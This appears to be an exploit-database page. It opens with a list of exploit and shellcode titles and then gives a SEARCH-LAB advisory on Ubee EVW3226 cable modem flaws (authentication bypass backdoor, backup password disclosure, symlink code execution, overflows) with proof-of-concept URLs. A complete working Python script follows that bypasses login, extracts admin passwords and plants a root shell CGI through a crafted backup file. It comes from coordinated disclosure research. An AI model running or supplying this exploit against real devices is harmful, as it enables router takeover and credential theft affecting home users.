
16 new exploits Ubuntu Breezy 5.10 - Installer Password Disclosure Ubuntu 5.10 - Installer Password Disclosure BSD/x86 - setuid/portbind (TCP 31337) shellcode (94 bytes) BSD/x86 - setuid/portbind 31337/TCP shellcode (94 bytes) Linux/x86 - shellcode that forks a HTTP Server on port tcp/8800 (166 bytes) Linux/x86 - listens for shellcode on tcp/5555 and jumps to it (83 bytes) Linux/x86 - Forks a HTTP Server on port 8800/TCP shellcode (166 bytes) Linux/x86 - Listens for shellcode on 5555/TCP and jumps to it (83 bytes) Linux/x86 - Shellcode Polymorphic chmod(_/etc/shadow__666) (54 bytes) Linux/x86 - Polymorphic chmod(_/etc/shadow__666) Shellcode (54 bytes) Linux/x86 - Add root user _r00t_ with no password to /etc/passwd shellcode (69 bytes) Linux/x86 - Add root user 'r00t' with no password to /etc/passwd shellcode (69 bytes) Linux/x86 - SET_PORT() portbind 31337 tcp shellcode (100 bytes) Linux/x86 - SET_PORT() portbind 31337/TCP shellcode (100 bytes) Linux/x86 - Add User _xtz_ without Password to /etc/passwd shellcode (59 bytes) Linux/x86 - Add User 'xtz' without Password to /etc/passwd shellcode (59 bytes) Linux/x86 - Bind /bin/sh to 31337/tcp shellcode (80 bytes) Linux/x86 - Bind /bin/sh to 31337/tcp + fork() shellcode (98 bytes) Linux/x86 - Bind /bin/sh to 31337/TCP shellcode (80 bytes) Linux/x86 - Bind /bin/sh to 31337/TCP + fork() shellcode (98 bytes) Linux/x86 - connect-back shellcode 127.0.0.1:31337/tcp (74 bytes) Linux/x86 - Connect-back shellcode 127.0.0.1:31337/TCP (74 bytes) Linux/x86 - Add user _t00r_ encrypt shellcode (116 bytes) Linux/x86 - Add user 't00r' encrypt shellcode (116 bytes) Linux/x86 - Add user _t00r_ shellcode (82 bytes) Linux/x86 - Add user 't00r' shellcode (82 bytes) Linux/x86 - Add user _z_ shellcode (70 bytes) Linux/x86 - Add User 'z' shellcode (70 bytes) Solaris/x86 - portbind/tcp shellcode (Generator) Solaris/x86 - portbind/TCP shellcode (Generator) Linux/x86 - append _/etc/passwd_ & exit() shellcode (107 bytes) Linux/x86 - append '/etc/passwd' & exit() shellcode (107 bytes) Linux/x86 - sends _Phuck3d!_ to all terminals shellcode (60 bytes) Linux/x86 - sends 'Phuck3d!' to all terminals shellcode (60 bytes) Linux/x86 - change mode 0777 of _/etc/shadow_ with sys_chmod syscall shellcode (39 bytes) Linux/x86 - change mode 0777 of '/etc/shadow' with sys_chmod syscall shellcode (39 bytes) Linux/x86 - change mode 0777 of _/etc/passwd_ with sys_chmod syscall shellcode (39 bytes) Linux/x86 - change mode 0777 of '/etc/passwd' with sys_chmod syscall shellcode (39 bytes) Linux/ARM - Add root user _shell-storm_ with password _toor_ shellcode (151 bytes) Linux/ARM - Add root user 'shell-storm' with password 'toor' shellcode (151 bytes) OS-X/Intel - reverse_tcp shell x86_64 shellcode (131 bytes) OS-X/Intel (x86_64) - reverse_tcp shell shellcode (131 bytes) Linux/SuperH (sh4) - Add root user _shell-storm_ with password _toor_ shellcode (143 bytes) Linux/SuperH (sh4) - Add root user 'shell-storm' with password 'toor' shellcode (143 bytes) Linux/MIPS - Add user(UID 0) _rOOt_ with password _pwn3d_ shellcode (164 bytes) Linux/MIPS - Add user(UID 0) 'rOOt' with password 'pwn3d' shellcode (164 bytes) Linux/x86-64 - Bind TCP 4444 Port Shellcode (81 bytes / 96 bytes with password) Linux/x86-64 - Bind 4444/TCP Port Shellcode (81 bytes / 96 bytes with password) Linux/x86 - TCP Bind Shell 33333 Port Shellcode (96 bytes) Linux/x86 - Bind Shell 33333/TCP Port Shellcode (96 bytes) OS-X/x86-64 - tcp 4444 port bind Nullfree shellcode (144 bytes) OS-X/x86-64 - 4444/TPC port bind Nullfree shellcode (144 bytes) Linux/x86-64 - Bind TCP 4444 Port Shellcode (103 bytes) Linux/x86-64 - TCP 4444 port Bindshell with Password Prompt shellcode (162 bytes) Linux/x86-64 - Bind 4444/TCP Port Shellcode (103 bytes) Linux/x86-64 - Bindshell 4444/TCP with Password Prompt shellcode (162 bytes) Linux/x86-64 - Bind TCP Port 1472 shellcode (IPv6) (199 bytes) Linux/x86-64 - Bind 1472/TCP shellcode (IPv6) (199 bytes) Linux/x86 - TCP Bind Shell Port 4444 shellcode (656 bytes) Linux/x86 - Bind Shell Port 4444/TCP shellcode (656 bytes) Linux/x86 - TCP Bind Shell Port 4444 shellcode (98 bytes) Linux/x86 - Bind Shell Port 4444/TCP shellcode (98 bytes) Rapid7 AppSpider 6.12 - Local Privilege Escalation Barracuda Web App Firewall 8.0.1.007/Load Balancer 5.4.0.004 - Remote Command Execution (Metasploit) Barracuda Spam & Virus Firewall 5.1.3.007 - Remote Command Execution (Metasploit) MediaCoder 0.8.43.5852 - .m3u SEH Exploit Drupal CODER Module 2.5 - Remote Command Execution (Metasploit) CodoForum 3.2.1 - SQL Injection CoolPlayer+ Portable 2.19.6 - .m3u Stack Overflow (Egghunter+ASLR bypass) GRR Système de Gestion et de Réservations de Ressources 3.0.0-RC1 - Arbitrary File Upload PHP gettext (gettext.php) 1.0.12 - Unauthenticated Code Execution PHP 7.0.8_ 5.6.23 and 5.5.37 - bzread() Out-of-Bounds Write Ubee EVW3226 Modem/Router 1.0.20 - Multiple Vulnerabilities Technicolor TC7200 Modem/Router STD6.02.11 - Multiple Vulnerabilities Hitron CGNV4 Modem/Router 4.3.9.9-SIP-UPC - Multiple Vulnerabilities Compal CH7465LG-LC Modem/Router CH7465LG-NCIP-4.50.18.13-NOSH - Multiple Vulnerabilities Bellini/Supercook Wi-Fi Yumi SC200 - Multiple Vulnerabilities Micro Focus Filr 2 2.0.0.421_ Filr 1.2 1.2.0.846 - Multiple Vulnerabilities
305 lines
No EOL
12 KiB
Python
Executable file
305 lines
No EOL
12 KiB
Python
Executable file
'''
|
|
Ubee EVW3226 modem/router multiple vulnerabilities
|
|
--------------------------------------------------
|
|
|
|
Platforms / Firmware confirmed affected:
|
|
- Ubee EVW3226, 1.0.20
|
|
- Product page: http://www.ubeeinteractive.com/products/cable/evw3226
|
|
|
|
Vulnerabilities
|
|
---------------
|
|
Insecure session management
|
|
|
|
The web interface does not use cookies at all. If admin login is
|
|
successful, the IP address of the admin user is stored and everybody can
|
|
access the management interface with the same IP.
|
|
|
|
Local file inclusion
|
|
|
|
Setup.cgi can read any file with .htm extension using directory
|
|
traversal in the gonext parameter. Although the file must have htm
|
|
extension, the local file inclusion can be used to map directories,
|
|
because the response is different depending on whether directory exists
|
|
or not.
|
|
|
|
POC:
|
|
|
|
http://<device_ip>/cgi-bin/setup.cgi?gonext=../www/main2
|
|
|
|
Backup file is not encrypted
|
|
|
|
Although the web interface requires a password for encrypting the backup
|
|
file, the encryption is not performed. In order to backup file password,
|
|
the plain password is stored in the backup file, which is a standard tgz
|
|
(gzipped tar) file with a simple header.
|
|
|
|
Backup file disclosure
|
|
|
|
When a user requests a backup file, the file is copied into www root in
|
|
order to make download possible. However, the backup file is not removed
|
|
from the www root after download. Since there is not any session check
|
|
required to download the backup file, an attacker is able to download it
|
|
without authentication from LAN until the next reboot.
|
|
Since the backup file is not encrypted and contains the plain admin
|
|
password, the router can be compromised from LAN.
|
|
|
|
POC:
|
|
|
|
http://<device_ip>/Configuration_file.cfg
|
|
|
|
Authentication bypass (backdoor)
|
|
|
|
The web interface bypasses authentication if the HTML request contains
|
|
the factoryBypass parameter. In this case a valid session is created and
|
|
the attacker can gain full control over the device.
|
|
|
|
POC:
|
|
|
|
http://<device_ip>/cgi-bin/setup.cgi?factoryBypass=1
|
|
|
|
Arbitrary code execution
|
|
|
|
The configuration file restore function receives a compressed tar file,
|
|
which is extracted to the /tmp folder. Tar files may contain symbolic
|
|
links, which can link out from the extraction folder. By creating a
|
|
configuration file with a symbolic link and a folder which uses this
|
|
link, the attacker can write out from the backup folder and can
|
|
overwrite any file in the writable file-system.
|
|
Since www is copied to the writable file system at boot time (under
|
|
/tmp), the attacker can insert a new cgi script that executes arbitrary
|
|
code with root privileges.
|
|
|
|
Default SSID and passphrase can be calculated
|
|
|
|
The default SSID and passphrase are derived only from the MAC address.
|
|
Since the MAC address of the device is broadcasted via WiFi, the default
|
|
password can be calculated easily.
|
|
Combined with code execution and factory bypass, even a botnet of Ubee
|
|
routers can be deployed easily.
|
|
|
|
Buffer overflow in configuration restore
|
|
|
|
During the configuration restore process, the backup file password is
|
|
read from the pass.txt file. If the password is large enough (larger
|
|
than 65536), a stack based buffer overflow is caused, because the file
|
|
content is loaded with fscanf(“%s”) to a stack based local variable. The
|
|
stack based buffer overflow can be used to execute arbitrary code with
|
|
root privileges.
|
|
|
|
Buffer overflow in configuration file request
|
|
|
|
The web interface identifies the configuration file download request by
|
|
checking that the URL contains the Configuration_file.cfg string. If
|
|
this string is found, the whole URL is copied into a stack based buffer,
|
|
which can cause a buffer overflow. This stack based buffer overflow can
|
|
be used to execute arbitrary code with root privileges without
|
|
authentication.
|
|
|
|
POC:
|
|
|
|
http://192.168.0.1/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaConfiguration_file.cfg
|
|
|
|
Buffer overflow in next file name
|
|
|
|
The gonext variable in the POST requests specifies the HTML file, which
|
|
the cgi script should be loaded. If the gonext variable is large enough
|
|
(larger than 6512 bytes), a stack based buffer overflow is caused, which
|
|
can be used to execute arbitrary code with root privileges without
|
|
authentication.
|
|
|
|
Communication on the UPC Wi-Free can be sniffed within the device
|
|
|
|
The UPC Wi-Free communication is not separated correctly inside the
|
|
device, because the whole communication can be sniffed after gaining
|
|
root access to the device.
|
|
|
|
Timeline
|
|
--------
|
|
- 2015.06.24: Presenting the Ubee router problems to the CTO of UPC Magyarorszag
|
|
- 2015.07.16: UPC contacted Ubee and required some more proof about some specific problems
|
|
- 2015.07.16: Proofs, that the default passphrase calculation of the Ubee router was broken, were sent to UPC
|
|
- 2015.07.20: UPC requested the POC code
|
|
- 2015.07.21: POC code was sent to UPC
|
|
- 2015.07.30: We sent some new issues affecting the Ubee router and other findings in Technicolor TC7200 and Cisco EPC3925 devices to UPC
|
|
- Between 2015.07.31 and 08.12 there were several e-mail and phone communications between technical persons from Liberty Global to clarify the findings
|
|
- 2015.08.19: UPC sent out advisory emails to its end users to change the default WiFi passphrase
|
|
- 2015.09.16: Ubee Interactive also asked some questions about the vulnerabilities
|
|
- 2015.09.24: We sent detailed answers to Ubee Interactive
|
|
- 2016.01.27: UPC Magyarorszag send out a repeated warning to its end users about the importance of the change of the default passphrases.
|
|
- 2016.02.16: Face to face meeting with Liberty Global security personnel in Amsterdam headquarters
|
|
- 2016.02.18: A proposal was sent to Liberty Global suggesting a wardriving experiment in Budapest, Hungary to measure the rate of end users who are still using the default passphrases.
|
|
|
|
POC
|
|
---
|
|
POC script is available to demonstrate the following problems [3]:
|
|
|
|
- Authentication bypass
|
|
- Unauthenticated backup file access
|
|
- Backup file password disclosure
|
|
- Code execution
|
|
|
|
Video demonstration is also available [1], which presents the above problems and how these can be combined to obtain full access to the modem.
|
|
|
|
Recommendations
|
|
---------------
|
|
Since only the ISP can update the firmware, we can recommend for users to change the WiFi passphrase.
|
|
|
|
Credits
|
|
-------
|
|
This vulnerability was discovered and researched by Gergely Eberhardt from SEARCH-LAB Ltd. (www.search-lab.hu)
|
|
|
|
References
|
|
----------
|
|
[1] http://www.search-lab.hu/advisories/secadv-20160720
|
|
[2] https://youtu.be/cBclw7uUuO4
|
|
[3] https://github.com/ebux/Cable-modems/tree/master/Ubee
|
|
'''
|
|
#
|
|
# POC code for Ubee EVW3226
|
|
#
|
|
# Demonstrates the following vulnerabilities
|
|
# - Authentication bypass
|
|
# - Unauthenticated backup file access
|
|
# - Backup file password disclosure
|
|
# - Code execution
|
|
#
|
|
# Credit: Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)
|
|
#
|
|
# Advisory: http://www.search-lab.hu/advisories/secadv-20150720
|
|
|
|
import sys
|
|
import requests
|
|
import tarfile
|
|
import struct
|
|
import binascii
|
|
import re
|
|
import shutil
|
|
|
|
config_data = binascii.unhexlify('00003226FFA486BE000001151F8B0808EB7D4D570400706F635F636F6E666967'
|
|
'2E74617200EDD53D4FC3301006E09BF32BDC30A78E9D3816AC8811898185D104'
|
|
'8B4404C7CA1DA4FC7B121A900A0296A66A153FCBF96BB15F9D8C0DCC2E1D68AD'
|
|
'87FA61A7EE8E65AEB48254C86C38CE247F351DA767CFFBBEE7308F1724D33106'
|
|
'5DDBD21FC7FEDD3F51DE20AE6933EBD5C6648B3CFF3D7F21BEE52F649E014BE1'
|
|
'00169EFFD5F5CDED9DC88A730896081B5E3ED6C97DED3859A43556B077DBF667'
|
|
'3FD6BFDA5F291052CB4CEA421502C6DF221707EEFF853A5BF1317BAC225B562D'
|
|
'BB6C1D594709BD797BC1C86E88FBC6D46EBB1BC753AD4CF9641F1836AB389A96'
|
|
'3C8A38F2F83975968687A5389A062C712682200882E058BC0383AF448C000E0000')
|
|
|
|
class ubee:
|
|
def __init__(self, addr, port):
|
|
self.addr = addr
|
|
self.port = port
|
|
self.s = requests.Session()
|
|
|
|
def getUri(self, uri):
|
|
return 'http://%s:%d/%s'%(self.addr,self.port,uri)
|
|
|
|
def authenticationBypass(self):
|
|
self.s.get(self.getUri('cgi-bin/setup.cgi?factoryBypass=1'))
|
|
self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=main2'))
|
|
|
|
def parseNVRam(self, nv):
|
|
o = 0x1c
|
|
pos = 2
|
|
nvdata = {}
|
|
while(True):
|
|
stype = struct.unpack('!H', nv[o:o+2])[0]
|
|
slen = struct.unpack('!H', nv[o+2:o+4])[0]
|
|
sval = nv[o+4:o+4+slen]
|
|
nvdata[stype] = sval
|
|
pos += slen
|
|
o = o+slen+4
|
|
if (o >= len(nv) ):
|
|
break
|
|
return nvdata
|
|
|
|
def parseBackupFile(self, fname):
|
|
tar = tarfile.open("Configuration_file.cfg", "r:gz")
|
|
for tarinfo in tar:
|
|
if tarinfo.isreg():
|
|
if (tarinfo.name == 'pass.txt'):
|
|
print 'config file password: %s'%(tar.extractfile(tarinfo).read())
|
|
elif (tarinfo.name == '1'):
|
|
nvdata = self.parseNVRam(tar.extractfile(tarinfo).read())
|
|
print 'admin password: %s'%(nvdata[3])
|
|
tar.close()
|
|
|
|
def saveBackup(self, r, fname):
|
|
if r.status_code == 200:
|
|
resp = ''
|
|
for chunk in r:
|
|
resp += chunk
|
|
open(fname, 'wb').write(resp[0xc:])
|
|
|
|
def createBackupFile(self, fname):
|
|
# get validcode (CSRF token)
|
|
r = self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=RgSystemBackupAndRecoveryBackup'))
|
|
m = re.search('ValidCode = "([^"]+)"', r.text)
|
|
if (m == None):
|
|
print 'ValidCode is not found'
|
|
return
|
|
validCode = m.group(1)
|
|
|
|
# create backup file
|
|
r = self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=Configuration_file.cfg&Password=secretpass&ValidCode=%s')%(validCode))
|
|
if (len(r.text) > 0):
|
|
self.saveBackup(r, fname)
|
|
|
|
def downloadBackupFile(self, fname):
|
|
r = self.s.get(self.getUri('Configuration_file.cfg'))
|
|
if (len(r.text) > 0):
|
|
print len(r.text)
|
|
self.saveBackup(r, fname)
|
|
return True
|
|
return False
|
|
|
|
def restoreConfigFile(self, fname = '', passwd = 'badpasswd'):
|
|
# get validcode (CSRF token)
|
|
r = self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=RgSystemBackupAndRecoveryRestore'))
|
|
m = re.search('name="ValidCode" value="([^"]+)"', r.text)
|
|
if (m == None):
|
|
print 'ValidCode is not found'
|
|
return
|
|
validCode = m.group(1)
|
|
|
|
# restore config file
|
|
if (fname == ''):
|
|
cfg_data = config_data
|
|
else:
|
|
cfg_data = open(fname, 'rb').read()
|
|
r = self.s.post(self.getUri('cgi-bin/restore.cgi'), files=(('ValidCode', (None, validCode)), ('PasswordStr', (None, passwd)), ('browse', cfg_data), ('file_name', (None, 'Configuration_file.cfg'))))
|
|
if (r.text.find('alert("Password Failure!")') > 0):
|
|
return True
|
|
else:
|
|
return False
|
|
|
|
def getShellResponse(self):
|
|
r = self.s.get(self.getUri('cgi-bin/test.sh'))
|
|
print r.text
|
|
|
|
#------------------------------------
|
|
|
|
if (len(sys.argv) < 2):
|
|
print 'ubee_evw3226_poc.py addr [port]'
|
|
addr = sys.argv[1]
|
|
port = 80
|
|
if (len(sys.argv) == 3):
|
|
port = int(sys.argv[2])
|
|
|
|
# create ubee object
|
|
u = ubee(addr, port)
|
|
|
|
# perform authentication bypass
|
|
u.authenticationBypass()
|
|
# download backup file if it is exists (auth is not required)
|
|
if (not u.downloadBackupFile('Configuration_file.cfg')):
|
|
# create and download backup file (auth required)
|
|
u.createBackupFile('Configuration_file.cfg')
|
|
# parse downloaded file and get admin and backup file password
|
|
u.parseBackupFile('Configuration_file.cfg')
|
|
# execute shell command in the router
|
|
if (u.restoreConfigFile()):
|
|
print 'Shell installed'
|
|
u.getShellResponse()
|
|
else:
|
|
print 'Shell install failed' |